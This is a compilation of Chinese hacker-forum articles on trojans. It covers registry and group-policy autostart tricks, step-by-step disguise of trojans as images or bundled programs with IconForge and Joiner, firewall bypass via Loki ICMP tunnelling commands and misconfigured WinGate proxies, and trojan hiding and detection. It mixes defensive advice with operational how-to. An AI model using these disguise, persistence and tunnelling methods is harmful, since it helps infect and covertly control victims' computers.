.哈哈哈哈,这种木马只不过用了一个巧妙的方法隐藏起来而已。你现在把HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan下面的CJT_A$、CJT_C$、CJT_D$、CJT_E$、CJT_F$全部删掉。如果你还放心不下,也可以把windows\system\下面的Vserver.vxd(Microsoft网络上的文件与打印机共享,虚拟设备
驱动程序)删掉,再把[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\下的VSERVER键值删掉。这样就可以了。另外,对于驱动程序/动态链接库木马,有一种方法可以试试,使用Windows的〖系统文件检查器〗,通过〖开始菜单〗-〖程序〗-〖附件〗-〖系统工具〗-〖系统信息〗-〖工具〗可以运行〖系统文件检查器〗,用〖系统文件检查器〗可检测操作系统文件的完整性,如果这些文件损坏,检查器可以将其还原,检查器还可以从安装盘中解压缩已压缩的文件。如果你的驱动程序或动态链接库在你没有升级它们的情况下被改动了,就有可能是木马,提取改动过的文件可以保证你的系统安全和稳定。.
  六
  .此外很多人中木马都会采用如下手段:
  1.先跟你套近乎,冒充成漂亮的美眉或者其他的能让你轻信的人,然后想方设法的骗你点他发给你的木马。
  2.把木马用工具和其它的软件捆绑在一起,然后在对文件名字进行修改,然后修改图标,利用这些虚假的伪装欺骗麻痹大意的人。
  3.另外一种方法就是把木马伪装好后,放在软件下载站中,着收渔翁之利。
  所以我这里提醒你一些常见的问题,首先是不要随便从小的个人网站上下载软件,要下也要到比较有名、比较有信誉的站点,通常这些网站的软件比较安全。其次不要过于相信别人,不能随便运行别人
给的软件。而且要经常检查自己的系统文件、注册表、端口等,而且多注意些安全方面的信息。再者就是改掉windows关于隐藏文件后缀名的默认设臵,这样可以让我们看清楚文件真正的后缀名字。最后要提醒你的是,如果有一天你突然发现自己的计算机硬盘莫名其妙的工作,或者在没有打开任何连接的情况下,猫还在眨眼睛,就立刻断线,进行木马的搜索。.
  .多谢前辈赐教,晚生无以为报,就送给前辈一个电子贺卡作为答谢吧。.
  .好的,不错很漂亮。.
  .哈哈哈哈,前辈没有发现自己的硬盘在转吗?你的木马端口秘籍我已经得到了,前辈你真是聪明一世糊涂一时,我的贺卡中夹着一个木马,而且就是冰河,前辈没有想到吗?.
  .你………….(晕倒过去)
 
黑客如何给你的系统种木马
木马随程序启动的另类方法
我们知道,有些木马是通过修改exe的文件关联来实现随EXE程序启动的。今天我在网上看到有另外一个鲜为人知的方法,就是通过下面的注册表选项。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions
  在上面的注册表选项中新建一个注册表项,项名为A.exe,然后
在下面新建一个字符串,字符串名为Debugger,字符串值就是程序B.exe的全路径。
  很明显,这个是针对系统可以设臵每个程序指定的纠错程序来实现的。让我感到意外的是A.exe不用指明路径!
  所以,以后大家找木马时可要注意多一个地方了。不过我觉得搜索注册表的方法更直接。
  声明:我提供的资料目的是为了让Windows用户更好的维护系统安全,强烈反对利用该方法进行任何入侵、破坏行为!
关于木马隐藏一个的新方法
大家所熟知的木马程序一般的启动方式有:加载到.开始.菜单中的.启动.项、记录到注册表的HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run项和HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\[Run项中,更高级的木马还会注册为系统的.服务.程序,以上这几种启动方式都可以在.系统配臵实用程序.(在.开始→运行.中执行.Msconfig.)的.启动.项和.服务.项中找到它的踪迹。
  另一种鲜为人知的启动方式,是在.开始→运行.中执行.Gpedit.msc.。打开.组策略.,可看到.本地计算机策略.中有两个选项:.计算机配臵.与.用户配臵.,展开.用户配臵→管理模板→系统→登录.,双击.在用户登录时运行这些程序.子项进行属性设臵,选定.设臵.项中的.已启用.项并单击.显示.按钮弹出.显
示内容.窗口,再单击.添加.按钮,在.添加项目.窗口内的文本框中输入要自启动的程序的路径,单击.确定.按钮就完成了。
  重新启动计算机,系统在登录时就会自动启动你添加的程序,如果刚才添加的是木马程序,那么一个.隐形.木马就这样诞生了。因为用这种方式添加的自启动程序在系统的.系统配臵实用程序.是找不到的,同样在我们所熟知的注册表项中也是找不到的,所以非常危险。
  通过这种方式添加的自启动程序虽然被记录在注册表中,但是不在我们所熟知的注册表的HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run项和HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\[Run项内,而是在注册表的HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run项。如果你怀疑你的电脑被种了.木马.,可是又找不到它在哪儿,建议你到注册表的HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run项里找找吧,或是进入.组策略.的.在用户登录时运行这些程序.看看有没有启动的程序。
黑客是如何骗取你执行木马的
如今大多数上网的朋友警惕性都很高,想骗取他们执行木马是件很困难的事,因为木马出现这么久,木马两个字听得人们耳朵都长出了老
茧,可说是谈.马.色变,即使不是电脑高手都知道,一见到是exe文件便不会轻易.招惹.它,因而中标的机会也就相对减少了。对于此,黑客们是不会甘于寂寞的,在黑客的世界里挑战与刺激才是他们趋之若婺的。
  1、冒充为图像文件
  首先,黑客最常使用骗别人执行木马的方法,就是将特洛伊木马说成为图像文件,比如说是照片等,应该说这是一个最不合逻辑的方法,但却是最多人中招的方法,有效而又实用。
  只要入侵者扮成美眉及更改服务器程序的文件名(例如sam.exe)为.类似.图像文件的名称,再假装传送照片给受害者,受害者就会立刻执行它。为甚么说这是一个不合逻辑的方法呢?图像文件的扩展名根本就不可能是exe,而木马程序的扩展名基本上又必定是exe,明眼人一看就会知道有问题,多数人在接收时一看见是exe文件,便不会接收了,那有什么方法呢?其实方法很简单,他只要把文件名改变,例如把.sam.exe.更改为.sam.jpg.,那么在传送时,对方只会看见sam.jpg了,而到达对方电脑时,因为windows默认值是不显示扩展名的,所以很多人都不会注意到扩展名这个问题,而恰好你的计算机又是设定为隐藏扩展名的话,那么你看到的只是sam.jpg了,受骗也就在所难免了!
还有一个问题就是,木马本身是没有图标的,而在电脑中它会显示一个windows预设的图标,别人一看便会知道了!但入侵者还是有办法的,这就是给文件换个.马甲.,即修改文件图标。
  修改文件图标的方法如下:
  (1)比如到http://www.mydown.com下载一个名为IconForge的软件,再进行安装。
  (2)执行程序,按下File>Open
  (3)在FileType选择exe类
  (4)在File>Open中载入预先制作好的图标(可以用绘图软件或专门制作icon的软件制作,也可以在网上找找)。
  (5)然后按下File>Save便可以了。
  如此这般最后得出的,便是看似jpg或其他图片格式的木马了,很多人就会不经意间执行了它。
  2、合并程序欺骗
  通常有经验的用户,是不会将图像文件和可执行文件混淆的,所以很多入侵者一不做二不休,干脆将木马程序说成是应用程序:反正都是以exe作为扩展名的。然后再变着花样欺骗受害者,例如说成是新出炉的游戏,无所不能的黑客程序等等,目地是让受害者立刻执行它。而木马程序执行后一般是没有任何反应的,于是在悄无声息中,很多受害者便以为是传送时文件损坏了而不再理会它。
  如果有更小心的用户,上面的方法有可能会使他们产生怀疑,所以就衍生了一些合拼程序。合拼程序是可以将两个或以上的可执行文件(exe文件)结合为一个文件,以后只需执行这个合拼文件,两个可执行文件就会同时执行。如果入侵者将一个正常的可执行文件(一些小游戏如wrap.exe)和一个木马程序合并,由于执行合并文件时
wrap.exe会正常执行,受害者在不知情中,背地里木马程序也同时执行了。而这其中最常用到的软件就是joiner,由于它具有更大的欺骗性,使得安装特洛伊木马的一举一动了无痕迹,是一件相当危险的黑客工具。让我们来看一下它是如何运作的:
以往有不少可以把两个程序合拼的软件为黑客所使用,但其中大多都已被各大防毒软件列作病毒了,而且它们有两个突出的问题存在,这问题就是:
  (1)合并后的文件体积过大
  (2)只能合并两个执行文件
  正因为如此,黑客们纷纷弃之转而使用一个更简单而功能更强的软件,那就是Joiner了。此软件不但把软件合拼后的体积减少,而且可以待使用者执行后立马就能收到一个icq的信息,告诉你对方已中招及对方的IP,更重要的是这个软件可以把图像文件、音频文件与可执行文件合拼,用起来相当方便。
  首先把Joiner解压,然后执行Joiner,在程序的画面里,有.Firstexecutable:.及.SecondFile:.两项,这两行的右方都有一个文件夹图标,分别各自选择想合拼的文件。
  下面还有一个EnableICQnotification的空格,如果选取后,当对方执行了文件时,便会收到对方的一个ICQWebMessgaer,里面会有对方的ip,当然要在下面的ICQnumber填上欲收取信息的icq号码。但开启这个功能后,合拼后的文件会比较大。
  最后便按下.Join.,在Joiner的文件夹里,便会出现一个
Result.exe的文件,文件可更改名称,因而这种.混合体.的隐蔽性是不言而喻的。
  3、以Z-file伪装加密程序
  Z-file伪装加密软件是台湾华顺科技的产品,其经过将文件压缩加密之后,再以bmp图像文件格式显示出来(扩展名是bmp,执行后是一幅普通的图像)。当初设计这个软件的本意只是用来加密数据,用以就算计算机被入侵或被非法使用时,也不容易泄漏你的机密数据所在。不过如果到了黑客手中,却可以变成一个入侵他人的帮凶。使用者会将木马程序和小游戏合并,再用Z-file加密及将此.混合体.发给受害者,由于看上去是图像文件,受害者往往都不以为然,打开后又只是一般的图片,最可怕的地方还在于就连杀毒软件也检测不出它内藏特洛伊木马,甚至病毒!当打消了受害者警惕性后,再让他用WinZip解压缩及执行.伪装体(比方说还有一份小礼物要送给他),这样就可以成功地安装了木马程序。如果入侵者有机会能使用受害者的电脑(比如上门维修电脑),只要事先已经发出了.混合体,则可以直接用Winzip对其进行解压及安装。由于上门维修是赤着手使用其电脑,受害者根本不会怀疑有什么植入他的计算机中,而且时间并不长,30秒时间已经足够。就算是.明晃晃.地在受害者面前操作,他也不见得会看出这一双黑手正在干什么。特别值得一提的是,由于.混合体.可以躲过反病毒程序的检测,如果其中内含的是一触即发的病毒,那么一经解开压缩,后果将是不堪设想。
  4、伪装成应用程序扩展组件
此类属于最难识别的特洛伊木马。黑客们通常将木马程序写成为任何类型的文件(例如dll、ocx等)然后挂在一个十分出名的软件中,例如OICQ。由于OICQ本身已有一定的知名度,没有人会怀疑它的安全性,更不会有人检查它的文件是否多了。而当受害者打开OICQ时,这个有问题的文件即会同时执行。此种方式相比起用合并程序有一个更大的好处,那就是不用更改被入侵者的登录文件,以后每当其打开OICQ时木马程序就会同步运行,相较一般特洛伊木马可说是.踏雪无痕.。更要命的是,此类入侵者大多也是特洛伊木马编写者,只要稍加改动,就会派生出一支新木马来,所以即使杀是毒软件也拿它没有丝毫办法。
 
黑客突破防火墙常用的几种技术
首先,我们需要了解一些基本的防火墙实现原理。防火墙目前主要分包过滤,和状态检测的包过滤,应用层代理防火墙。但是他们的基本实现都是类似的。
  ││---路由器-----网卡│防火墙│网卡│----------内部网络││
  防火墙一般有两个以上的网络卡,一个连到外部(router),另一个是连到内部网络。当打开主机网络转发功能时,两个网卡间的网络通讯能直接通过。当有防火墙时,他好比插在网卡之间,对所有的网络通讯进行控制。
  说到访问控制,这是防火墙的核心了:),防火墙主要通过一个访问控制表来判断的,他的形式一般是一连串的如下规则:
  1 accept from+源地址,端口to+目的地址,端口+采取的动作
  2 deny、、、、、、、、、、、(deny就是拒绝。。)
  3 nat、、、、、、、、、、、、(nat是地址转换。后面说)
  防火墙在网络层(包括以下的链路层)接收到网络数据包后,就从上面的规则链表一条一条地匹配,如果符合就执行预先安排的动作了!如丢弃包。。。。
  但是,不同的防火墙,在判断攻击行为时,有实现上的差别。下面结合实现原理说说可能的攻击。
  二、攻击包过滤防火墙
  包过滤防火墙是最简单的一种了,它在网络层截获网络数据包,根据防火墙的规则表,来检测攻击行为。他根据数据包的源IP地址;目的IP地址;TCP/UDP源端口;TCP/UDP目的端口来过滤!!很容易受到如下攻击:
  1、ip欺骗攻击:
  这种攻击,主要是修改数据包的源,目的地址和端口,模仿一些合法的数据包来骗过防火墙的检测。如:外部攻击者,将他的数据报源地址改为内部网络地址,防火墙看到是合法地址就放行了:)。可是,如果防火墙能结合接口,地址来匹配,这种攻击就不能成功了:(
  2、dos拒绝服务攻击
  简单的包过滤防火墙不能跟踪tcp的状态,很容易受到拒绝服务攻击,一旦防火墙受到dos攻击,他可能会忙于处理,而忘记了他自
己的过滤功能。:)你就可以饶过了,不过这样攻击还很少的。!
  3、分片攻击
  这种攻击的原理是:在IP的分片包中,所有的分片包用一个分片偏移字段标志分片包的顺序,但是,只有第一个分片包含有TCP端口号的信息。当IP分片包通过分组过滤防火墙时,防火墙只根据第一个分片包的Tcp信息判断是否允许通过,而其他后续的分片不作防火墙检测,直接让它们通过。
  这样,攻击者就可以通过先发送第一个合法的IP分片,骗过防火墙的检测,接着封装了恶意数据的后续分片包就可以直接穿透防火墙,直接到达内部网络主机,从而威胁网络和主机的安全。
  4、木马攻击
  对于包过滤防火墙最有效的攻击就是木马了,一但你在内部网络安装了木马,防火墙基本上是无能为力的。
  原因是:包过滤防火墙一般只过滤低端口(1-1024),而高端口他不可能过滤的(因为,一些服务要用到高端口,因此防火墙不能关闭高端口的),所以很多的木马都在高端口打开等待,如冰河,subseven等。。。
  但是木马攻击的前提是必须先上传,运行木马,对于简单的包过滤防火墙来说,是容易做的。这里不写这个了。大概就是利用内部网络主机开放的服务漏洞。
  早期的防火墙都是这种简单的包过滤型的,到现在已很少了,不过也有。现在的包过滤采用的是状态检测技术,下面谈谈状态检测的
包过滤防火墙。
  三、攻击状态检测的包过滤
  状态检测技术最早是checkpoint提出的,在国内的许多防火墙都声称实现了状态检测技术。
  可是:)很多是没有实现的。到底什么是状态检测?
  一句话,状态检测就是从tcp连接的建立到终止都跟踪检测的技术。
  原先的包过滤,是拿一个一个单独的数据包来匹配规则的。可是我们知道,同一个tcp连接,他的数据包是前后关联的,先是syn包,-》数据包=》fin包。数据包的前后序列号是相关的。
  如果割裂这些关系,单独的过滤数据包,很容易被精心构造的攻击数据包欺骗!!!如nmap的攻击扫描,就有利用syn包,fin包,reset包来探测防火墙后面的网络。!
  相反,一个完全的状态检测防火墙,他在发起连接就判断,如果符合规则,就在内存登记了这个连接的状态信息(地址,port,选项。。),后续的属于同一个连接的数据包,就不需要再检测了,直接通过。而一些精心构造的攻击数据包由于没有在内存登记相应的状态信息,都被丢弃了。这样这些攻击数据包,就不能饶过防火墙了。
  说状态检测必须提到动态规则技术。在状态检测里,采用动态规则技术,原先高端口的问题就可以解决了。实现原理是:平时,防火墙可以过滤内部网络的所有端口(1-65535),外部攻击者难于发现入侵的切入点,可是为了不影响正常的服务,防火墙一旦检测到服务必须
开放高端口时,如(ftp协议,irc等),防火墙在内存就可以动态地天加一条规则打开相关的高端口。等服务完成后,这条规则就又被防火墙删除。这样,既保障了安全,又不影响正常服务,速度也快!
  一般来说,完全实现了状态检测技术防火墙,智能性都比较高,一些扫描攻击还能自动的反应,因此,攻击者要很小心才不会被发现。
  但是,也有不少的攻击手段对付这种防火墙的。
  1、协议隧道攻击
  协议隧道的攻击思想类似于VPN的实现原理,攻击者将一些恶意的攻击数据包隐藏在一些协议分组的头部,从而穿透防火墙系统对内部网络进行攻击。
  例如,许多简单地允许ICMP回射请求、ICMP回射应答和UDP分组通过的防火墙就容易受到ICMP和UDP协议隧道的攻击。Loki和lokid(攻击的客户端和服务端)是实施这种攻击的有效的工具。在实际攻击中,攻击者首先必须设法在内部网络的一个系统上安装上lokid服务端,而后攻击者就可以通过loki客户端将希望远程执行的攻击命令(对应IP分组)嵌入在ICMP或UDP包头部,再发送给内部网络服务端lokid,由它执行其中的命令,并以同样的方式返回结果。由于许多防火墙允许ICMP和UDP分组自由出入,因此攻击者的恶意数据就能附带在正常的分组,绕过防火墙的认证,顺利地到达攻击目标主机下面的命令是用于启动lokid服务器程序:
  lokid-pCICvl
  loki客户程序则如下启动:
  lokiCd 172.29.11.191(攻击目标主机)-pCICv1Ct3
  这样,lokid和loki就联合提供了一个穿透防火墙系统访问目标系统的一个后门。
  2、利用FTP-pasv绕过防火墙认证的攻击
  FTP-pasv攻击是针对防火墙实施入侵的重要手段之一。目前很多防火墙不能过滤这种攻击手段。如CheckPoint的Firewall-1,在监视FTP服务器发送给客户端的包的过程中,它在每个包中寻找"227"这个字符串。如果发现这种包,将从中提取目标地址和端口,并对目标地址加以验证,通过后,将允许建立到该地址的TCP连接。
  攻击者通过这个特性,可以设法连接受防火墙保护的服务器和服务。
  3、反弹木马攻击
  反弹木马是对付这种防火墙的最有效的方法。攻击者在内部网络的反弹木马定时地连接外部攻击者控制的主机,由于连接是从内部发起的,防火墙(任何的防火墙)都认为是一个合法的连接,因此基本上防火墙的盲区就是这里了。防火墙不能区分木马的连接和合法的连接。
  但是这种攻击的局限是:必须首先安装这个木马!!!所有的木马的第一步都是关键!
四、攻击代理
  代理是运行在应用层的防火墙,他实质是启动两个连接,一个是客户到代理,另一个是代理到目的服务器。
  实现上比较简单,和前面的一样也是根据规则过滤。由于运行在应用层速度比较慢。
  攻击代理的方法很多。
  这里就以wingate为例,简单说说了。(太累了)
  WinGate是目前应用非常广泛的一种Windows 95/NT代理防火墙软件,内部用户可以通过一台安装有WinGate的主机访问外部网络,但是它也存在着几个安全脆弱点。
  黑客经常利用这些安全漏洞获得WinGate的非授权Web.Socks和Telnet的访问,从而伪装成WinGate主机的身份对下一个攻击目标发动攻击。因此,这种攻击非常难于被跟踪和记录。
  导致WinGate安全漏洞的原因大多数是管理员没有根据网络的实际情况对WinGate代理防火墙软件进行合理的设臵,只是简单地从缺省设臵安装完毕后就让软件运行,这就给攻击者可乘之机。
  1、非授权Web访问
  某些WinGate版本(如运行在NT系统下的2.1d版本)在误配臵情况下,允许外部主机完全匿名地访问因特网。因此,外部攻击者就可以利用WinGate主机来对Web服务器发动各种Web攻击(如CGI的漏洞攻击等),同时由于Web攻击的所有报文都是从80号Tcp端口穿过的,因此,很难追踪到攻击者的来源。
  检测
  检测WinGate主机是否有这种安全漏洞的方法如下:
  1)以一个不会被过滤掉的连接(譬如说拨号连接)连接到因特网
上。
  2)把浏览器的代理服务器地址指向待测试的WinGate主机。
  如果浏览器能访问到因特网,则WinGate主机存在着非授权Web访问漏洞。
  2、非授权Socks访问
  在WinGate的缺省配臵中,Socks代理(1080号Tcp端口)同样是存在安全漏洞。与打开的Web代理(80号Tcp端口)一样,外部攻击者可以利用Socks代理访问因特网。
  防范
  要防止攻击WinGate的这个安全脆弱点,管理员可以限制特定服务的捆绑。在多宿主(multihomed)系统上,执行以下步骤以限定如何提供代理服务。
  1选择Socks或WWW Proxy Server属性。
  2选择Bindings标签。
  3按下Connections will be Accepted On The Following Interface Only按钮,并指定本WinGate服务器的内部接口。
  非授权Telnet访问
  它是WinGate最具威胁的安全漏洞。通过连接到一个误配臵的inGate服务器的Telnet服务,攻击者可以使用别人的主机隐藏自己的踪迹,随意地发动攻击。
  检测
  检测WinGate主机是否有这种安全漏洞的方法如下:
  1、使用telnet尝试连接到一台WinGate服务器。
  [root@happy/tmp]#telnet 172.29.11.191
  Trying 172.29.11.191….
  Connected to 172.29.11.191.
  Escapecharacteris‘^]’.
  Wingate>10.50.21.5
  2、如果接受到如上的响应文本,那就输入待连接到的网站。
  3、如果看到了该新系统的登录提示符,那么该服务器是脆弱的。
  Connected to host 10.50.21.5…Connected
  SunOS5.6
  Login:
  对策
  防止这种安全脆弱点的方法和防止非授权Socks访问的方法类似。在WinGate中简单地限制特定服务的捆绑就可以解决这个问题。一般来说,在多宿主(multihomed)系统管理员可以通过执行以下步骤来完成:
  1、选择TelnetSever属性。
  2、选择Bindings标签。
  3、按下Connections Will Be Accepted On The Following Interface Only按钮,并指定本WinGate服务器的内部接口。
  五、后话
  有防火墙的攻击不单是上面的一点,我有什么写的不对的,大家
指正。
  一直以来,黑客都在研究攻击防火墙的技术和手段,攻击的手法和技术越来越智能化和多样化。但是就黑客攻击防火墙的过程上看,大概可以分为三类攻击。
  第一类:攻击防火墙的方法是探测在目标网络上安装的是何种防火墙系统并且找出此防火墙系统允许哪些服务。我们叫它为对防火墙的探测攻击。
  第二类:攻击防火墙的方法是采取地址欺骗、TCP序号攻击等手法绕过防火墙的认证机制,从而对防火墙和内部网络破坏。
第三类:攻击防火墙的方法是寻找、利用防火墙系统实现和设计上的安全漏洞,从而有针对性地发动攻击。这种攻击难度比较大,可是破坏性很大。、
 
特洛伊木马原理分析
特洛伊木马是如何工作的
  一般的木马程序都包括客户端和服务端两个程序,其中客户端是用于攻击者远程控制植入木马的机器,服务器端程序即是木马程序。目前木马入侵的主要途径还是先通过一定的方法把木马执行文件弄到被攻击者的电脑系统里,利用的途径有邮件附件、下载软件中等,然后通过一定的提示故意误导被攻击者打开执行文件,比如故意谎称这个木马执行文件,是你朋友送给你贺卡,可能你打开这个文件后,确实有贺卡的画面出现,但这时可能木马已经悄悄在你的后台运行
了。一般的木马执行文件非常小,大部分都是几K到几十K,如果把木马捆绑到其他正常文件上,你很难发现,所以,有一些网站提供的软件下载往往是捆绑了木马文件的,你执行这些下载的文件,也同时运行了木马。
  木马也可以通过Script、ActiveX及Asp、CGI交互脚本的方式植入,由于微软的浏览器在执行Script脚本存在一些漏洞。攻击者可以利用这些漏洞传播病毒和木马,甚至直接对浏览者电脑进行文件操作等控制。前不久前出现一个利用微软Scripts脚本漏洞对浏览者硬盘进行格式化的HTML页面。如果攻击者有办法把木马执行文件下载到攻击主机的一个可执行WWW目录夹里面,他可以通过编制CGI程序在攻击主机上执行木马目录。此外,木马还可以利用系统的一些漏洞进行植入,如微软著名的US服务器溢出漏洞,通过一个IISHACK攻击程序即可使IIS服务器崩溃,并且同时攻击服务器,执行远程木马执行文件。
当服务端程序在被感染的机器上成功运行以后,攻击者就可以使用客户端与服务端建立连接,并进一步控制被感染的机器。在客户端和服务端通信协议的选择上,绝大多数木马使用的是TCP/IP协议,但是也有一些木马由于特殊的原因,使用UDP协议进行通讯。当服务端在被感染机器上运行以后,它一方面尽量把自己隐藏在计算机的某个角落里面,以防被用户发现;同时监听某个特定的端口,等待客户端与其取得连接;另外为了下次重启计算机时仍然能正常工作。木马程序一般会通过修改注册表或者其他的方法让自己成为自启动程
序。
 
木马的隐藏方式
  1、在任务栏里隐藏
  这是最基本的隐藏方式。如果在windows的任务栏里出现一个莫名其妙的图标,傻子都会明白是怎么回事。要实现在任务栏中隐藏在编程时是很容易实现的。我们以VB为例。在VB中,只要把from的Visible属性设臵为False,ShowInTaskBar设为False程序就不会出现在任务栏里了。
  2、在任务管理器里隐藏
  查看正在运行的进程最简单的方法就是按下Ctrl+Alt+Del时出现的任务管理器。如果你按下Ctrl+Alt+Del后可以看见一个木马程序在运行,那么这肯定不是什么好木马。所以,木马会千方百计地伪装自己,使自己不出现在任务管理器里。木马发现把自己设为.系统服务.
就可以轻松地骗过去。
  因此,希望通过按Ctrl+Alt+Del发现木马是不大现实的。
  3、端口
  一台机器有65536个端口,你会注意这么多端口么?而木马就很注意你的端口。如果你稍微留意一下,不难发现,大多数木马使用的端口在1024以上,而且呈越来越大的趋势;当然也有占用1024以下端口的木马,但这些端口是常用端口,占用这些端口可能会造成系统不正常,这样的话,木马就会很容易暴露。也许你知道一些木马占用
的端口,你或许会经常扫描这些端口,但现在的木马都提供端口修改功能,你有时间扫描65536个端口么?
  4、隐藏通讯
  隐藏通讯也是木马经常采用的手段之一。任何木马运行后都要和攻击者进行通讯连接,或者通过即时连接,如攻击者通过客户端直接接入被植入木马的主机;或者通过间接通讯。如通过电子邮件的方式,木马把侵入主机的敏感信息送给攻击者。现在大部分木马一般在占领主机后会在1024以上不易发现的高端口上驻留;有一些木马会选择一些常用的端口,如80、23,有一种非常先进的木马还可以做到在占领80HTTP端口后,收到正常的HTTP请求仍然把它交与Web服务器处理,只有收到一些特殊约定的数据包后,才调用木马程序。
  5、隐藏隐加载方式
  木马加载的方式可以说千奇百怪,无奇不有。但殊途同归,都为了达到一个共同的目的,那就是使你运行木马的服务端程序。如果木马不做任何伪装,就告诉你这是木马,你会运行它才怪呢。而随着网站互动化避程的不断进步,越来越多的东西可以成为木马的传播介质,JavaScript、VBScript、ActiveX、XLM、、、、几乎WWW每一个新功能部会导致木马的快速进化。
  6、最新隐身技术
  在Win 9x时代,简单地注册为系统进程就可以从任务栏中消失,可是在Windows 2000盛行的今天。这种方法遭到了惨败。注册为系统进程不仅仅能在任务栏中看到,而且可以直接在Services中直接控
制停止。运行(太搞笑了,木马被客户端控制)。使用隐藏窗体或控制台的方法也不能欺骗无所不见的Admin大人(要知道,在NT下,Administrator是可以看见所有进程的)。在研究了其他软件的长处之后,木马发现,Windows下的中文汉化软件采用的陷阱技术非常适合木马的使用。
这是一种更新、更隐蔽的方法。通过修改虚拟设备驱动程序(VXD)或修改动态链接库(DLL)来加载木马。这种方法与一般方法不同,它基本上摆脱了原有的木马模式---监听端口,而采用替代系统功能的方法(改写vxd或DLL文件),木马会将修改后的DLL替换系统已知的DLL,并对所有的函数调用进行过滤。对于常用的调用,使用函数转发器直接转发给被替换的系统DLL,对于一些相应的操作。实际上。这样的事先约定好的特种情况,DLL会执行一般只是使用DLL进行监听,一旦发现控制端的请求就激活自身,绑在一个进程上进行正常的木马操作。这样做的好处是没有增加新的文件,不需要打开新的端口,没有新的进程,使用常规的方法监测不到它。在往常运行时,木马几乎没有任何症状,且木马的控制端向被控制端发出特定的信息后,隐藏的程序就立即开始运作。
 
特洛伊木马具有的特性
  1、包含于正常程序中,当用户执行正常程序时,启动自身,在用户难以察觉的情况下,完成一些危害用户的操作,具有隐蔽性。
  由于木马所从事的是"地下工作",因此它必须隐藏起来,它会想
尽一切办法不让你发现它。很多人对木马和远程控制软件有点分不清,还是让我们举个例子来说吧。我们进行局域网间通讯的常用软件PCanywhere大家一定不陌生吧?我们都知道它是一款远程控制软件。PCanywhere比在服务器端运行时,客户端与服务器端连接成功后,客户端机上会出现很醒目的提示标志;而木马类的软件的服务器端在运行的时候应用各种手段隐藏自己,不可能出现任何明显的标志。木马开发者早就想到了可能暴露木马踪迹的问题,把它们隐藏起来了。例如大家所熟悉木马修改注册表和文件以便机器在下一次启动后仍能载入木马程式,它不是自己生成一个启动程序,而是依附在其他程序之中。有些木马把服务器端和正常程序绑定成一个程序的软件,叫做exe-binder绑定程序,可以让人在使用绑定的程序时,木马也入侵了系统。甚至有个别木马程序能把它自身的exe文件和服务端的图片文件绑定,在你看图片的时候,木马便侵人了你的系统。它的隐蔽性主要体现在以下两个方面:
  (1)不产生图标
  木马虽然在你系统启动时会自动运行,但它不会在"任务栏"中产生一个图标,这是容易理解的,不然的话,你看到任务栏中出现一个来历不明的图标,你不起疑心才怪呢!
  (2)木马程序自动在任务管理器中隐藏,并以"系统服务"的方式欺骗操作系统。
  2、具有自动运行性。
  木马为了控制服务端。它必须在系统启动时即跟随启动,所以它
必须潜人在你的启动配臵文件中,如win.ini、system.ini、winstart.bat以及启动组等文件之中。
  3、包含具有未公开并且可能产生危险后果的功能的程序。
  4、具备自动恢复功能。
  现在很多的木马程序中的功能模块不再由单一的文件组成,而是具有多重备份,可以相互恢复。当你删除了其中的一个,以为万事大吉又运行了其他程序的时候,谁知它又悄然出现。像幽灵一样,防不胜防。
  5、能自动打开特别的端口。
  木马程序潜入你的电脑之中的目的主要不是为了破坏你的系统,而是为了获取你的系统中有用的信息,当你上网时能与远端客户进行通讯,这样木马程序就会用服务器客户端的通讯手段把信息告诉黑客们,以便黑客们控制你的机器,或实施进一步的入侵企图。你知道你的电脑有多少个端口?不知道吧?告诉你别吓着:根据TCP/IP协议,每台电脑可以有256乘以256个端口,也即从0到65535号"门",但我们常用的只有少数几个,木马经常利用我们不大用的这些端口进行连接,大开方便之"门"。
  6、功能的特殊性。
  通常的木马功能都是十分特殊的,除了普通的文件操作以外,还有些木马具有搜索cache中的口令、设臵口令、扫描目标机器人的IP地址、进行键盘记录、远程注册表的操作以及锁定鼠标等功能。上面所讲的远程控制软件当然不会有这些功能,毕竟远程控制软件是用来
控制远程机器,方便自己操作而已,而不是用来黑对方的机器的。
  中木马后出现的状况
  对于一些常见的木马,如SUB7、BO2000、冰河等等,它们都是采用打开TCP端口监听和写入注册表启动等方式,使用木马克星之类的软件可以检测到这些木马,这些检测木马的软件大多都是利用检测TCP连结、注册表等信息来判断是否有木马人侵,因此我们也可以通过手工来侦测木马。
  也许你会对硬盘空间莫名其妙减少500M感到习以为常,这的确算不了什么,天知道Windows的临时文件和那些乌七八糟的游戏吞噬了自己多少硬盘空间。可是,还是有一些现象会让你感到警觉,一旦你觉得你自己的电脑感染了木马,你应该马上用杀毒软件检查一下自己的计算机,然后不管结果如何,就算是Norton告诉你,你的机器没有木马,你也应该再亲自作一次更深入的调查,确保自己机器安全。经常关注新的和出名的木马的特性报告,这将对你诊断自己的计算机问题很有帮助。
  (1)当你浏览一个网站,弹出来一些广告窗口是很正常的事情,可是如果你根本没有打开浏览器,而浏览器突然自己打开,并且进入某个网站,那么,你要小心。
  (2)你正在操作电脑,突然一个警告框或者是询问框弹出来,问一些你从来没有在电脑上接触过的间题。
  (3)你的Windows系统配臵老是自动莫名其妙地被更改。比如屏保显示的文字,时间和日期,声音大小,鼠标灵敏度,还有CD-ROM
的自动运行配臵。
  (4)硬盘老没缘由地读盘,软驱灯经常自己亮起,网络连接及鼠标屏幕出现异常现象。
  这时,最简单的方法就是使用netstat -a命令查看。你可以通过这个命令发现所有网络连接,如果这时有攻击者通过木马连接,你可以通过这些信息发现异常。通过端口扫描的方法也可以发现一些弱智的木马,特别是一些早期的木马,它们捆绑的端口不能更改,通过扫描这些固定的端口也可以发现木马是否被植入。
